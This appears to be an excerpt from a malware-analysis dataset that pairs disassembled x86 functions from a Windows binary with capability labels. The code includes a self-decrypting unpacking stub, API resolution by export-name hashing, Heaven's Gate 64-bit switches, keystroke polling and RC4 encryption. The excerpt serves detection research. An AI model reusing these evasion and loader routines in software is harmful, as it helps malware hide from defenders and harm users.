joyce8/EMBER2024-capa huggingface dataset:
Function at 0x454720
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x454769
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x454be0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x485270
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00454790
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00454810
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00454810
lea ecx, [esi + 0xc]
call fcn.00472801
lea ecx, [esi + 0x10]
call fcn.00472801
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00455da0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00455da0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00455da0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00472876
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00472876
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x473692
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.0047dacc
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4736c3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.004736d6
pop edi
pop esi
pop ebx
ret 8

Function at 0x474caa
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x474ce2
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00472d1d
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00472cf5
jmp 0x474cee
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x476599
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4765db
call fcn.0047dacc
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4765db
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4765d2
xor eax, eax
jmp 0x4765e3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004765e9
pop edi
pop esi
pop ebx
ret 4

Function at 0x47dffc
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47e02a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47e048
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047df62
jmp 0x47e048
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47e048
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047df62
test edi, edi
mov eax, edi
jne 0x47e032
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403f76
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x403fc3
mov al, cl
cmp al, 0x61
jb 0x403f9e
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x403fc3
mov al, cl
cmp al, 0x61
jb 0x403fb6
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x403f8f
cmp edx, dword [esp + 0x18]
je 0x403fd3
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x403f88
xor eax, eax
jmp 0x403fd6
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x403fde
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x4040c5
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x4040cb
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x40402a
cmp al, 0x61
jb 0x404022
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x404015
cmp edx, dword [esp + 0x14]
je 0x40403a
dec ecx
jne 0x40400a
xor eax, eax
jmp 0x4040c5
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x4040c5
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x4040c5
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x404076
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x404085
jmp 0x40406d
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.00403f76
test eax, eax
je 0x4040c5
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x4040c0
cmp al, 0x61
jb 0x4040b8
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x4040ab
call fcn.00403fde
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x4040e3
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x4040e3
sub edx, ecx
mov ecx, edx
jmp 0x40403a
xor eax, eax
jmp 0x4040c5

Function at 0x40534d
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call fcn.00404f8f
and eax, 1
xor eax, 1
test eax, eax
je 0x405386
mov edx, 0
mov eax, 0
jmp 0x4053c0
push 0x33
call 0x40538d
add dword [esp], 5
retf
mov esp, ebp
pop ebp
ret

Function at 0x4053c4
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call fcn.00404f8f
and eax, 1
xor eax, 1
test eax, eax
je 0x4053fd
mov edx, 0
mov eax, 0
jmp 0x405435
push 0x33
call 0x405404
add dword [esp], 5
retf
mov esp, ebp
pop ebp
ret 0x14
Function at 0x40543b
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
call fcn.00404f8f
and eax, 1
xor eax, 1
test eax, eax
je 0x405468
mov eax, 0
jmp 0x40549d
push 0x33
call 0x40546f
add dword [esp], 5
retf
mov esp, ebp
pop ebp
ret 0x14

Function at 0x4055cd
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call fcn.00404f8f
and eax, 1
xor eax, 1
test eax, eax
je 0x4055ee
jmp 0x40568f
cmp dword [ebp + 8], 0
jne 0x4055f8
cmp dword [ebp + 0xc], 0
je 0x405622
cmp dword [ebp + 0x10], 0
jne 0x405608
cmp dword [ebp + 0x14], 0
je 0x405622
cmp dword [ebp + 0x18], 0
jne 0x405618
cmp dword [ebp + 0x1c], 0
je 0x405622
xor eax, eax
jmp 0x405627
mov eax, 1
test eax, eax
je 0x405634
jmp 0x40568f
push 0x33
call 0x40563b
add dword [esp], 5
retf
mov esp, ebp
pop ebp
ret 0x18

Function at 0x405cea
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
call fcn.00404f8f
and eax, 1
xor eax, 1
test eax, eax
je 0x405d17
mov eax, 0
jmp 0x405d4a
push 0x33
call 0x405d1e
add dword [esp], 5
retf
mov esp, ebp
pop ebp
ret 0x14

Function at 0x405d6c
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
call fcn.00404f8f
and eax, 1
xor eax, 1
test eax, eax
je 0x405d99
mov eax, 0
jmp 0x405de1
mov dword [ebp - 4], 0
push 0x33
call 0x405da7
add dword [esp], 5
retf
mov esp, ebp
pop ebp
ret 0x10

Function at 0x405e1b
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
call fcn.00404f8f
and eax, 1
xor eax, 1
test eax, eax
je 0x405e62
mov edx, 0
mov eax, 0
jmp 0x405f64
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0x33
call 0x405e85
add dword [esp], 5
retf
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x406ca4
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x4aa364]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x406cdf
add dword [esp], 5
retf

Function at 0x406dd5
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x4aa364]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x406e10
add dword [esp], 5
retf

Function at 0x4081f8
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x4aa364]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x408233
add dword [esp], 5
retf
Function at 0x4082f6
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x408322
add dword [esp], 5
retf
Function at 0x40d570
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48198b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004768a0
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40d5f2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00474657
mov eax, dword [eax]
push 0x499200
push eax
call fcn.00467354
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00476b2b
test bl, bl
je 0x40d5f2
push 0x499200
lea ecx, [esp + 0xc]
call fcn.00476ebb
push 0x49cd4c
lea ecx, [esp + 0xc]
call fcn.00476ebb
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40d62e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00476b2b
jmp 0x40d6f9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40d6b2
lea edx, [esp + 0x7c]
push 0x49cd48
push edx
call fcn.00467354
add esp, 8
test eax, eax
je 0x40d6b2
lea eax, [esp + 0x7c]
push 0x49cd44
push eax
call fcn.00467354
add esp, 8
test eax, eax
je 0x40d6b2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40d642
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00476b2b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40def0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40df52
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40df60
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x481a0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4a6330]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40e098
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40dfc6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00476b2b
xor eax, eax
jmp 0x40e10f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00476c68
push esi
lea ecx, [esp + 0xc]
call fcn.00476ef7
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40e0ed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040def0
test eax, eax
jne 0x40e0ed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040def0
test eax, eax
jne 0x40e0ed
lea eax, [esp + 0x14]
push 0x49cd60
push eax
call fcn.004683d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e0cc
lea ecx, [esp + 0x14]
push 0x49cd5c
push ecx
call fcn.00468350
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e0cc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40e0cf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00476c18
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40dfde
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00476b2b
xor eax, eax
jmp 0x40e10f
mov byte [esi], 0
push 0x49cd58
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00476b2b
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41e820
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41e88e
cmp si, 0x69
ja 0x41e88e
add esi, 0xffd0
cmp si, 0x11
je 0x41e85e
push 0x11
call edi
test ax, ax
jge 0x41e85e
or esi, 0x2000
cmp si, 0x10
je 0x41e873
push 0x10
call edi
test ax, ax
jge 0x41e873
or esi, 0x4000
cmp si, 0x12
je 0x41e888
push 0x12
call edi
test ax, ax
jge 0x41e888
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41e89b
mov esi, 0xbd
jmp 0x41e84f
cmp si, 0x6e
jne 0x41e8a8
mov esi, 0xbe
jmp 0x41e84f
cmp si, 0x6f
jne 0x41e849
mov esi, 0xbf
jmp 0x41e84f

Function at 0x420100
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4b6a48]
xor edx, edx
cmp eax, edx
jne 0x420126
xor eax, eax
mov byte [eax + 0x4b6948], al
inc eax
cmp eax, 0x100
jl 0x42010e
mov dword [0x4b6a48], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4b6948
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4201b7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42018a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x420158
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x420230
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x420283
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42026a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427010
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4271a8
cmp ebp, ebx
jle 0x4271a8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42706e
dec eax
or eax, 0xfffffff8
inc eax
je 0x427075
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x427084
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42708b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0047686c
add esp, 4
cmp eax, ebx
je 0x4270ac
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0047686c
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42719e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x427185
mov al, byte [edx]
cmp al, 0xc0
jbe 0x427171
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x427166
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x427174
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x427174
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x427110
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x427101
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x42a4a0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x482f58
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x42a4d9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0047e219
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0047e265
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0042a560
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0047e2a2
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24